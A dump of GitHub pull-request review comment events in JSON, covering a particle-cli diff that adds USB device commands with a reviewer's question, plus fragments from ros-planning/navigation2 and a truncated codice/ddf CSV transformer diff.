r_url":"https://avatars2.githubusercontent.com/u/2328631?v=4","gravatar_id":"","url":"https://api.github.com/users/ros-planning","html_url":"https://github.com/ros-planning","followers_url":"https://api.github.com/users/ros-planning/followers","following_url":"https://api.github.com/users/ros-planning/following{/other_user}","gists_url":"https://api.github.com/users/ros-planning/gists{/gist_id}","starred_url":"https://api.github.com/users/ros-planning/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ros-planning/subscriptions","organizations_url":"https://api.github.com/users/ros-planning/orgs","repos_url":"https://api.github.com/users/ros-planning/repos","events_url":"https://api.github.com/users/ros-planning/events{/privacy}","received_events_url":"https://api.github.com/users/ros-planning/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ros-planning/navigation2","description":"ROS2 Navigation","fork":false,"url":"https://api.github.com/repos/ros-planning/navigation2","forks_url":"https://api.github.com/repos/ros-planning/navigation2/forks","keys_url":"https://api.github.com/repos/ros-planning/navigation2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ros-planning/navigation2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ros-planning/navigation2/teams","hooks_url":"https://api.github.com/repos/ros-planning/navigation2/hooks","issue_events_url":"https://api.github.com/repos/ros-planning/navigation2/issues/events{/number}","events_url":"https://api.github.com/repos/ros-planning/navigation2/events","assignees_url":"https://api.github.com/repos/ros-planning/navigation2/assignees{/user}","branches_url":"https://api.github.com/repos/ros-planning/navigation2/branches{/branch}","tags_url":"https://api.github.com/repos/ros-planning/navigation2/tags","blobs_url":"https://api.github.com/repos/ros-planning/navigation2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ros-planning/navigation2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ros-planning/navigation2/git/refs{/sha}","trees_url":"https://api.github.com/repos/ros-planning/navigation2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ros-planning/navigation2/statuses/{sha}","languages_url":"https://api.github.com/repos/ros-planning/navigation2/languages","stargazers_url":"https://api.github.com/repos/ros-planning/navigation2/stargazers","contributors_url":"https://api.github.com/repos/ros-planning/navigation2/contributors","subscribers_url":"https://api.github.com/repos/ros-planning/navigation2/subscribers","subscription_url":"https://api.github.com/repos/ros-planning/navigation2/subscription","commits_url":"https://api.github.com/repos/ros-planning/navigation2/commits{/sha}","git_commits_url":"https://api.github.com/repos/ros-planning/navigation2/git/commits{/sha}","comments_url":"https://api.github.com/repos/ros-planning/navigation2/comments{/number}","issue_comment_url":"https://api.github.com/repos/ros-planning/navigation2/issues/comments{/number}","contents_url":"https://api.github.com/repos/ros-planning/navigation2/contents/{+path}","compare_url":"https://api.github.com/repos/ros-planning/navigation2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ros-planning/navigation2/merges","archive_url":"https://api.github.com/repos/ros-planning/navigation2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ros-planning/navigation2/downloads","issues_url":"https://api.github.com/repos/ros-planning/navigation2/issues{/number}","pulls_url":"https://api.github.com/repos/ros-planning/navigation2/pulls{/number}","milestones_url":"https://api.github.com/repos/ros-planning/navigation2/milestones{/number}","notifications_url":"https://api.github.com/repos/ros-planning/navigation2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ros-planning/navigation2/labels{/name}","releases_url":"https://api.github.com/repos/ros-planning/navigation2/releases{/id}","deployments_url":"https://api.github.com/repos/ros-planning/navigation2/deployments","created_at":"2018-05-29T23:35:08Z","updated_at":"2019-09-04T02:19:27Z","pushed_at":"2019-09-04T17:01:39Z","git_url":"git://github.com/ros-planning/navigation2.git","ssh_url":"git@github.com:ros-planning/navigation2.git","clone_url":"https://github.com/ros-planning/navigation2.git","svn_url":"https://github.com/ros-planning/navigation2","homepage":"","size":16925,"stargazers_count":148,"watchers_count":148,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":80,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":150,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":80,"open_issues":150,"watchers":148,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/ros-planning/navigation2/pulls/1087"},"html":{"href":"https://github.com/ros-planning/navigation2/pull/1087"},"issue":{"href":"https://api.github.com/repos/ros-planning/navigation2/issues/1087"},"comments":{"href":"https://api.github.com/repos/ros-planning/navigation2/issues/1087/comments"},"review_comments":{"href":"https://api.github.com/repos/ros-planning/navigation2/pulls/1087/comments"},"review_comment":{"href":"https://api.github.com/repos/ros-planning/navigation2/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/ros-planning/navigation2/pulls/1087/commits"},"statuses":{"href":"https://api.github.com/repos/ros-planning/navigation2/statuses/a43fa2565a394c9cd654b4857caee3fe59ed7d96"}},"author_association":"COLLABORATOR"}}
|
{
"id": 135363400,
"name": "ros-planning/navigation2",
"url": "https://api.github.com/repos/ros-planning/navigation2"
}
|
{
"id": 14944147,
"login": "SteveMacenski",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/14944147?",
"url": "https://api.github.com/users/SteveMacenski"
}
|
{
"id": 2328631,
"login": "ros-planning",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2328631?",
"url": "https://api.github.com/orgs/ros-planning"
}
| 2019-09-04T17:04:45 |
10347305657
|
{"actor":{"display_login":"SteveMacenski"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/particle-iot/particle-cli/pulls/comments/266152955","pull_request_review_id":215257077,"id":266152955,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI2NjE1Mjk1NQ==","diff_hunk":"@@ -0,0 +1,109 @@\n+const settings = require('../../settings');\n+\n+function usbCommand() {\n+\tif (!usbCommand._instance) {\n+\t\tconst UsbCommand = require('../cmd/usb');\n+\t\tusbCommand._instance = new UsbCommand(settings);\n+\t}\n+\treturn usbCommand._instance;\n+}\n+\n+module.exports = ({ commandProcessor, root }) => {\n+\tconst usb = commandProcessor.createCategory(root, 'usb', 'Control USB devices');\n+\n+\tcommandProcessor.createCommand(usb, 'list', 'List the devices connected to the host computer', {\n+\t\toptions: {\n+\t\t\t'exclude-dfu': {\n+\t\t\t\tdescription: 'Do not list devices which are in DFU mode',\n+\t\t\t\tboolean: true\n+\t\t\t},\n+\t\t\t'ids-only': {\n+\t\t\t\tdescription: 'Print only device IDs',\n+\t\t\t\tboolean: true\n+\t\t\t}\n+\t\t},\n+\t\thandler: (args) => {\n+\t\t\treturn usbCommand().list(args);\n+\t\t}\n+\t});\n+\n+\t// Common options for start-listening, stop-listening, safe-mode, dfu and reset\n+\tconst commonOptions = {\n+\t\t'all': {\n+\t\t\tdescription: 'Send the command to all devices connected to the host computer',\n+\t\t\tboolean: true\n+\t\t},\n+\t\t'one': {\n+\t\t\tdescription: 'Send the command to a single device connected to the host computer',\n+\t\t\tboolean: true\n+\t\t}\n+\t};\n+\n+\tcommandProcessor.createCommand(usb, 'start-listening', 'Put a device into the listening mode', {\n+\t\tparams: '[devices...]',\n+\t\toptions: commonOptions,\n+\t\texamples: {\n+\t\t\t'$0 $command my_device': 'Put a device named \"my_device\" into the listening mode',\n+\t\t\t'$0 $command --all': 'Put all devices connected to the host computer into the listening mode'\n+\t\t},\n+\t\thandler: (args) => {\n+\t\t\treturn usbCommand().startListening(args);\n+\t\t}\n+\t});\n+\n+\tcommandProcessor.createCommand(usb, 'stop-listening', 'Make a device exit the listening mode', {\n+\t\tparams: '[devices...]',\n+\t\toptions: commonOptions,\n+\t\texamples: {\n+\t\t\t'$0 $command my_device': 'Make a device named \"my_device\" exit the listening mode',\n+\t\t\t'$0 $command --all': 'Make all devices connected to the host computer exit the listening mode'\n+\t\t},\n+\t\thandler: (args) => {\n+\t\t\treturn usbCommand().stopListening(args);\n+\t\t}\n+\t});\n+\n+\tcommandProcessor.createCommand(usb, 'safe-mode', 'Put a device into the safe mode', {\n+\t\tparams: '[devices...]',\n+\t\toptions: commonOptions,\n+\t\texamples: {\n+\t\t\t'$0 $command my_device': 'Put a device named \"my_device\" into the safe mode',\n+\t\t\t'$0 $command --all': 'Put all devices connected to the host computer into the safe mode'\n+\t\t},\n+\t\thandler: (args) => {\n+\t\t\treturn usbCommand().safeMode(args);\n+\t\t}\n+\t});\n+\n+\tcommandProcessor.createCommand(usb, 'dfu', 'Put a device into the DFU mode', {\n+\t\tparams: '[devices...]',\n+\t\toptions: commonOptions,\n+\t\texamples: {\n+\t\t\t'$0 $command my_device': 'Put a device named \"my_device\" into the DFU mode',\n+\t\t\t'$0 $command --all': 'Put all devices connected to the host computer into the DFU mode'\n+\t\t},\n+\t\thandler: (args) => {\n+\t\t\treturn usbCommand().dfu(args);\n+\t\t}\n+\t});\n+\n+\tcommandProcessor.createCommand(usb, 'reset', 'Reset a device', {\n+\t\tparams: '[devices...]',\n+\t\toptions: commonOptions,\n+\t\texamples: {\n+\t\t\t'$0 $command my_device': 'Reset a device named \"my_device\"',\n+\t\t\t'$0 $command --all': 'Reset all devices connected to the host computer'\n+\t\t},\n+\t\thandler: (args) => {\n+\t\t\treturn usbCommand().reset(args);\n+\t\t}\n+\t});\n+\n+\tcommandProcessor.createCommand(usb, 'configure', 'Update the system USB configuration', {","path":"src/cli/usb.js","position":102,"original_position":102,"commit_id":"ff70024db31eded1ac29b928dcbc686c9db5cc2a","original_commit_id":"ff70024db31eded1ac29b928dcbc686c9db5cc2a","user":{"login":"monkbroc","id":1919681,"node_id":"MDQ6VXNlcjE5MTk2ODE=","avatar_url":"https://avatars2.githubusercontent.com/u/1919681?v=4","gravatar_id":"","url":"https://api.github.com/users/monkbroc","html_url":"https://github.com/monkbroc","followers_url":"https://api.github.com/users/monkbroc/followers","following_url":"https://api.github.com/users/monkbroc/following{/other_user}","gists_url":"https://api.github.com/users/monkbroc/gists{/gist_id}","starred_url":"https://api.github.com/users/monkbroc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/monkbroc/subscriptions","organizations_url":"https://api.github.com/users/monkbroc/orgs","repos_url":"https://api.github.com/users/monkbroc/repos","events_url":"https://api.github.com/users/monkbroc/events{/privacy}","received_events_url":"https://api.github.com/users/monkbroc/received_events","type":"User","site_admin":false},"body":"From the user's perspective, what does this do? What needs to be configured?","created_at":"2019-03-15T21:30:28Z","updated_at":"2019-03-15T21:31:07Z","html_url":"https://github.com/particle-iot/particle-cli/pull/473#discussion_r266152955","pull_request_url":"https://api.github.com/repos/particle-iot/particle-cli/pulls/473","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/particle-iot/particle-cli/pulls/comments/266152955"},"html":{"href":"https://github.com/particle-iot/particle-cli/pull/473#discussion_r266152955"},"pull_request":{"href":"https://api.github.com/repos/particle-iot/particle-cli/pulls/473"}}},"pull_request":{"url":"https://api.github.com/repos/particle-iot/particle-cli/pulls/473","id":252103372,"node_id":"MDExOlB1bGxSZXF1ZXN0MjUyMTAzMzcy","html_url":"https://github.com/particle-iot/particle-cli/pull/473","diff_url":"https://github.com/particle-iot/particle-cli/pull/473.diff","patch_url":"https://github.com/particle-iot/particle-cli/pull/473.patch","issue_url":"https://api.github.com/repos/particle-iot/particle-cli/issues/473","number":473,"state":"open","locked":false,"title":"Mesh commands","user":{"login":"sergeuz","id":770094,"node_id":"MDQ6VXNlcjc3MDA5NA==","avatar_url":"https://avatars3.githubusercontent.com/u/770094?v=4","gravatar_id":"","url":"https://api.github.com/users/sergeuz","html_url":"https://github.com/sergeuz","followers_url":"https://api.github.com/users/sergeuz/followers","following_url":"https://api.github.com/users/sergeuz/following{/other_user}","gists_url":"https://api.github.com/users/sergeuz/gists{/gist_id}","starred_url":"https://api.github.com/users/sergeuz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sergeuz/subscriptions","organizations_url":"https://api.github.com/users/sergeuz/orgs","repos_url":"https://api.github.com/users/sergeuz/repos","events_url":"https://api.github.com/users/sergeuz/events{/privacy}","received_events_url":"https://api.github.com/users/sergeuz/received_events","type":"User","site_admin":false},"body":"This PR implements the following new commands:\r\n\r\n#### Mesh network management\r\n\r\nCreate a new network:\r\n```\r\nparticle mesh create <network name> <device> [--channel=N] [--password=...] [--yes]\r\n```\r\nAdd a device to the current network of an assisting device:\r\n```\r\nparticle mesh add <new device> <assisting device> [--password=...] [--yes]\r\n```\r\nRemove a device from its current network:\r\n```\r\nparticle mesh remove <device> [--yes]\r\n```\r\nList all registered networks and their devices:\r\n```\r\nparticle mesh list [network] [--networks-only]\r\n```\r\nGet the current device's network:\r\n```\r\nparticle mesh info <device>\r\n```\r\nScan for networks:\r\n```\r\nparticle mesh scan <device>\r\n```\r\n\r\n#### Misc. USB commands\r\n\r\nList Particle USB devices attached to the host:\r\n```\r\nparticle usb list [--exclude-dfu] [--ids-only]\r\n```\r\nPut a device or multiple devices into the listening mode:\r\n```\r\nparticle usb start-listening [devices...] [--all|--one]\r\n```\r\nMake a device or multiple devices exit the listening mode:\r\n```\r\nparticle usb stop-listening [devices...] [--all|--one]\r\n```\r\nPut a device or multiple devices into the safe mode:\r\n```\r\nparticle usb safe-mode [devices...] [--all|--one]\r\n```\r\nPut a device or multiple devices into the DFU mode:\r\n```\r\nparticle usb dfu [devices...] [--all|--one]\r\n```\r\nReset a device or multiple devices:\r\n```\r\nparticle usb reset [devices...] [--all|--one]\r\n```\r\nInstall udev rules for Particle USB devices (Linux-only):\r\n```\r\nparticle usb configure\r\n```\r\n\r\nNote: This PR is a WIP and there's a number of known bugs, limitations and TODOs:\r\n\r\n- ~The `IN control transfer failed` error is back and needs to be debugged.~\r\n- Gateway devices are expected to be configured via the mobile apps (initial device setup is out of the scope of this PR).\r\n- ~Manual/automatic udev configuration is not implemented yet (`particle usb configure`?).~\r\n- ~This branch depends on the feature branches of [`particle-usb`](https://github.com/particle-iot/particle-usb) and [`particle-api-js`](https://github.com/particle-iot/particle-api-js/tree/feature/mesh_api) which haven't been merged or published yet.~\r\n- Unit tests are missing.\r\n","created_at":"2019-02-11T23:18:18Z","updated_at":"2019-03-15T21:31:07Z","closed_at":null,"merged_at":null,"merge_commit_sha":"1bbd9fe109289075b446737ce9cd30ca85116773","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":211133967,"node_id":"MDU6TGFiZWwyMTExMzM5Njc=","url":"https://api.github.com/repos/particle-iot/particle-cli/labels/enhancement","name":"enhancement","color":"84b6eb","default":true}],"milestone":null,"commits_url":"https://api.github.com/repos/particle-iot/particle-cli/pulls/473/commits","review_comments_url":"https://api.github.com/repos/particle-iot/particle-cli/pulls/473/comments","review_comment_url":"https://api.github.com/repos/particle-iot/particle-cli/pulls/comments{/number}","comments_url":"https://api.github.com/repos/particle-iot/particle-cli/issues/473/comments","statuses_url":"https://api.github.com/repos/particle-iot/particle-cli/statuses/ff70024db31eded1ac29b928dcbc686c9db5cc2a","head":{"label":"particle-iot:feature/mesh_cmd","ref":"feature/mesh_cmd","sha":"ff70024db31eded1ac29b928dcbc686c9db5cc2a","user":{"login":"particle-iot","id":2348966,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIzNDg5NjY=","avatar_url":"https://avatars2.githubusercontent.com/u/2348966?v=4","gravatar_id":"","url":"https://api.github.com/users/particle-iot","html_url":"https://github.com/particle-iot","followers_url":"https://api.github.com/users/particle-iot/followers","following_url":"https://api.github.com/users/particle-iot/following{/other_user}","gists_url":"https://api.github.com/users/particle-iot/gists{/gist_id}","starred_url":"https://api.github.com/users/particle-iot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/particle-iot/subscriptions","organizations_url":"https://api.github.com/users/particle-iot/orgs","repos_url":"https://api.github.com/users/particle-iot/repos","events_url":"https://api.github.com/users/particle-iot/events{/privacy}","received_events_url":"https://api.github.com/users/particle-iot/received_events","type":"Organization","site_admin":false},"repo":{"id":35562367,"node_id":"MDEwOlJlcG9zaXRvcnkzNTU2MjM2Nw==","name":"particle-cli","full_name":"particle-iot/particle-cli","private":false,"owner":{"login":"particle-iot","id":2348966,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIzNDg5NjY=","avatar_url":"https://avatars2.githubusercontent.com/u/2348966?v=4","gravatar_id":"","url":"https://api.github.com/users/particle-iot","html_url":"https://github.com/particle-iot","followers_url":"https://api.github.com/users/particle-iot/followers","following_url":"https://api.github.com/users/particle-iot/following{/other_user}","gists_url":"https://api.github.com/users/particle-iot/gists{/gist_id}","starred_url":"https://api.github.com/users/particle-iot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/particle-iot/subscriptions","organizations_url":"https://api.github.com/users/particle-iot/orgs","repos_url":"https://api.github.com/users/particle-iot/repos","events_url":"https://api.github.com/users/particle-iot/events{/privacy}","received_events_url":"https://api.github.com/users/particle-iot/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/particle-iot/particle-cli","description":"Command Line Interface for Particle Cloud and devices","fork":false,"url":"https://api.github.com/repos/particle-iot/particle-cli","forks_url":"https://api.github.com/repos/particle-iot/particle-cli/forks","keys_url":"https://api.github.com/repos/particle-iot/particle-cli/keys{/key_id}","collaborators_url":"https://api.github.com/repos/particle-iot/particle-cli/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/particle-iot/particle-cli/teams","hooks_url":"https://api.github.com/repos/particle-iot/particle-cli/hooks","issue_events_url":"https://api.github.com/repos/particle-iot/particle-cli/issues/events{/number}","events_url":"https://api.github.com/repos/particle-iot/particle-cli/events","assignees_url":"https://api.github.com/repos/particle-iot/particle-cli/assignees{/user}","branches_url":"https://api.github.com/repos/particle-iot/particle-cli/branches{/branch}","tags_url":"https://api.github.com/repos/particle-iot/particle-cli/tags","blobs_url":"https://api.github.com/repos/particle-iot/particle-cli/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/particle-iot/particle-cli/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/particle-iot/particle-cli/git/refs{/sha}","trees_url":"https://api.github.com/repos/particle-iot/particle-cli/git/trees{/sha}","statuses_url":"https://api.github.com/repos/particle-iot/particle-cli/statuses/{sha}","languages_url":"https://api.github.com/repos/particle-iot/particle-cli/languages","stargazers_url":"https://api.github.com/repos/particle-iot/particle-cli/stargazers","contributors_url":"https://api.github.com/repos/particle-iot/particle-cli/contributors","subscribers_url":"https://api.github.com/repos/particle-iot/particle-cli/subscribers","subscription_url":"https://api.github.com/repos/particle-iot/particle-cli/subscription","commits_url":"https://api.github.com/repos/particle-iot/particle-cli/commits{/sha}","git_commits_url":"https://api.github.com/repos/particle-iot/particle-cli/git/commits{/sha}","comments_url":"https://api.github.com/repos/particle-iot/particle-cli/comments{/number}","issue_comment_url":"https://api.github.com/repos/particle-iot/particle-cli/issues/comments{/number}","contents_url":"https://api.github.com/repos/particle-iot/particle-cli/contents/{+path}","compare_url":"https://api.github.com/repos/particle-iot/particle-cli/compare/{base}...{head}","merges_url":"https://api.github.com/repos/particle-iot/particle-cli/merges","archive_url":"https://api.github.com/repos/particle-iot/particle-cli/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/particle-iot/particle-cli/downloads","issues_url":"https://api.github.com/repos/particle-iot/particle-cli/issues{/number}","pulls_url":"https://api.github.com/repos/particle-iot/particle-cli/pulls{/number}","milestones_url":"https://api.github.com/repos/particle-iot/particle-cli/milestones{/number}","notifications_url":"https://api.github.com/repos/particle-iot/particle-cli/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/particle-iot/particle-cli/labels{/name}","releases_url":"https://api.github.com/repos/particle-iot/particle-cli/releases{/id}","deployments_url":"https://api.github.com/repos/particle-iot/particle-cli/deployments","created_at":"2015-05-13T17:05:39Z","updated_at":"2019-02-22T15:48:06Z","pushed_at":"2019-03-15T14:18:31Z","git_url":"git://github.com/particle-iot/particle-cli.git","ssh_url":"git@github.com:particle-iot/particle-cli.git","clone_url":"https://github.com/particle-iot/particle-cli.git","svn_url":"https://github.com/particle-iot/particle-cli","homepage":"","size":10457,"stargazers_count":187,"watchers_count":187,"language":"JavaScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":78,"mirror_url":null,"archived":false,"open_issues_count":76,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":78,"open_issues":76,"watchers":187,"default_branch":"master"}},"base":{"label":"particle-iot:master","ref":"master","sha":"696ef94c3533494cc84fcb8e446f36d49bcfc4cd","user":{"login":"particle-iot","id":2348966,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIzNDg5NjY=","avatar_url":"https://avatars2.githubusercontent.com/u/2348966?v=4","gravatar_id":"","url":"https://api.github.com/users/particle-iot","html_url":"https://github.com/particle-iot","followers_url":"https://api.github.com/users/particle-iot/followers","following_url":"https://api.github.com/users/particle-iot/following{/other_user}","gists_url":"https://api.github.com/users/particle-iot/gists{/gist_id}","starred_url":"https://api.github.com/users/particle-iot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/particle-iot/subscriptions","organizations_url":"https://api.github.com/users/particle-iot/orgs","repos_url":"https://api.github.com/users/particle-iot/repos","events_url":"https://api.github.com/users/particle-iot/events{/privacy}","received_events_url":"https://api.github.com/users/particle-iot/received_events","type":"Organization","site_admin":false},"repo":{"id":35562367,"node_id":"MDEwOlJlcG9zaXRvcnkzNTU2MjM2Nw==","name":"particle-cli","full_name":"particle-iot/particle-cli","private":false,"owner":{"login":"particle-iot","id":2348966,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIzNDg5NjY=","avatar_url":"https://avatars2.githubusercontent.com/u/2348966?v=4","gravatar_id":"","url":"https://api.github.com/users/particle-iot","html_url":"https://github.com/particle-iot","followers_url":"https://api.github.com/users/particle-iot/followers","following_url":"https://api.github.com/users/particle-iot/following{/other_user}","gists_url":"https://api.github.com/users/particle-iot/gists{/gist_id}","starred_url":"https://api.github.com/users/particle-iot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/particle-iot/subscriptions","organizations_url":"https://api.github.com/users/particle-iot/orgs","repos_url":"https://api.github.com/users/particle-iot/repos","events_url":"https://api.github.com/users/particle-iot/events{/privacy}","received_events_url":"https://api.github.com/users/particle-iot/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/particle-iot/particle-cli","description":"Command Line Interface for Particle Cloud and devices","fork":false,"url":"https://api.github.com/repos/particle-iot/particle-cli","forks_url":"https://api.github.com/repos/particle-iot/particle-cli/forks","keys_url":"https://api.github.com/repos/particle-iot/particle-cli/keys{/key_id}","collaborators_url":"https://api.github.com/repos/particle-iot/particle-cli/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/particle-iot/particle-cli/teams","hooks_url":"https://api.github.com/repos/particle-iot/particle-cli/hooks","issue_events_url":"https://api.github.com/repos/particle-iot/particle-cli/issues/events{/number}","events_url":"https://api.github.com/repos/particle-iot/particle-cli/events","assignees_url":"https://api.github.com/repos/particle-iot/particle-cli/assignees{/user}","branches_url":"https://api.github.com/repos/particle-iot/particle-cli/branches{/branch}","tags_url":"https://api.github.com/repos/particle-iot/particle-cli/tags","blobs_url":"https://api.github.com/repos/particle-iot/particle-cli/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/particle-iot/particle-cli/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/particle-iot/particle-cli/git/refs{/sha}","trees_url":"https://api.github.com/repos/particle-iot/particle-cli/git/trees{/sha}","statuses_url":"https://api.github.com/repos/particle-iot/particle-cli/statuses/{sha}","languages_url":"https://api.github.com/repos/particle-iot/particle-cli/languages","stargazers_url":"https://api.github.com/repos/particle-iot/particle-cli/stargazers","contributors_url":"https://api.github.com/repos/particle-iot/particle-cli/contributors","subscribers_url":"https://api.github.com/repos/particle-iot/particle-cli/subscribers","subscription_url":"https://api.github.com/repos/particle-iot/particle-cli/subscription","commits_url":"https://api.github.com/repos/particle-iot/particle-cli/commits{/sha}","git_commits_url":"https://api.github.com/repos/particle-iot/particle-cli/git/commits{/sha}","comments_url":"https://api.github.com/repos/particle-iot/particle-cli/comments{/number}","issue_comment_url":"https://api.github.com/repos/particle-iot/particle-cli/issues/comments{/number}","contents_url":"https://api.github.com/repos/particle-iot/particle-cli/contents/{+path}","compare_url":"https://api.github.com/repos/particle-iot/particle-cli/compare/{base}...{head}","merges_url":"https://api.github.com/repos/particle-iot/particle-cli/merges","archive_url":"https://api.github.com/repos/particle-iot/particle-cli/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/particle-iot/particle-cli/downloads","issues_url":"https://api.github.com/repos/particle-iot/particle-cli/issues{/number}","pulls_url":"https://api.github.com/repos/particle-iot/particle-cli/pulls{/number}","milestones_url":"https://api.github.com/repos/particle-iot/particle-cli/milestones{/number}","notifications_url":"https://api.github.com/repos/particle-iot/particle-cli/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/particle-iot/particle-cli/labels{/name}","releases_url":"https://api.github.com/repos/particle-iot/particle-cli/releases{/id}","deployments_url":"https://api.github.com/repos/particle-iot/particle-cli/deployments","created_at":"2015-05-13T17:05:39Z","updated_at":"2019-02-22T15:48:06Z","pushed_at":"2019-03-15T14:18:31Z","git_url":"git://github.com/particle-iot/particle-cli.git","ssh_url":"git@github.com:particle-iot/particle-cli.git","clone_url":"https://github.com/particle-iot/particle-cli.git","svn_url":"https://github.com/particle-iot/particle-cli","homepage":"","size":10457,"stargazers_count":187,"watchers_count":187,"language":"JavaScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":78,"mirror_url":null,"archived":false,"open_issues_count":76,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":78,"open_issues":76,"watchers":187,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/particle-iot/particle-cli/pulls/473"},"html":{"href":"https://github.com/particle-iot/particle-cli/pull/473"},"issue":{"href":"https://api.github.com/repos/particle-iot/particle-cli/issues/473"},"comments":{"href":"https://api.github.com/repos/particle-iot/particle-cli/issues/473/comments"},"review_comments":{"href":"https://api.github.com/repos/particle-iot/particle-cli/pulls/473/comments"},"review_comment":{"href":"https://api.github.com/repos/particle-iot/particle-cli/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/particle-iot/particle-cli/pulls/473/commits"},"statuses":{"href":"https://api.github.com/repos/particle-iot/particle-cli/statuses/ff70024db31eded1ac29b928dcbc686c9db5cc2a"}},"author_association":"MEMBER"}}
|
{
"id": 35562367,
"name": "particle-iot/particle-cli",
"url": "https://api.github.com/repos/particle-iot/particle-cli"
}
|
{
"id": 1919681,
"login": "monkbroc",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1919681?",
"url": "https://api.github.com/users/monkbroc"
}
|
{
"id": 2348966,
"login": "particle-iot",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2348966?",
"url": "https://api.github.com/orgs/particle-iot"
}
| 2019-03-15T21:30:28 |
9253950502
|
{"actor":{"display_login":"monkbroc"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/codice/ddf/pulls/comments/258572134","pull_request_review_id":205834573,"id":258572134,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI1ODU3MjEzNA==","diff_hunk":"@@ -0,0 +1,63 @@\n+/*\n+ * Copyright (c) Codice Foundation\n+ * <p/>\n+ * This is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser\n+ * General Public License as published by the Free Software Foundation, either version 3 of the\n+ * License, or any later version.\n+ * <p/>\n+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details. A copy of the GNU Lesser General Public License\n+ * is distributed along with this program and can be found at\n+ * <http://www.gnu.org/licenses/lgpl.html>.\n+ */\n+package ddf.catalog.transformer.csv;\n+\n+import static ddf.catalog.transformer.csv.common.CsvTransformer.createResponse;\n+import static ddf.catalog.transformer.csv.common.CsvTransformer.writeMetacardsToCsv;\n+\n+import ddf.catalog.data.AttributeDescriptor;\n+import ddf.catalog.data.BinaryContent;\n+import ddf.catalog.data.Metacard;\n+import ddf.catalog.transform.CatalogTransformerException;\n+import ddf.catalog.transform.MetacardTransformer;\n+import org.slf4j.Logger;\n+import org.slf4j.LoggerFactory;\n+\n+import java.io.Serializable;\n+import java.util.Collections;\n+import java.util.HashMap;\n+import java.util.List;\n+import java.util.Map;\n+import java.util.Objects;\n+import java.util.stream.Collectors;\n+\n+public class CsvMetacardTransformer implements MetacardTransformer {\n+\n+ private static final Logger LOGGER = LoggerFactory.getLogger(CsvMetacardTransformer.class);\n+\n+ @Override\n+ public BinaryContent transform(Metacard metacard, Map<String, Serializable> 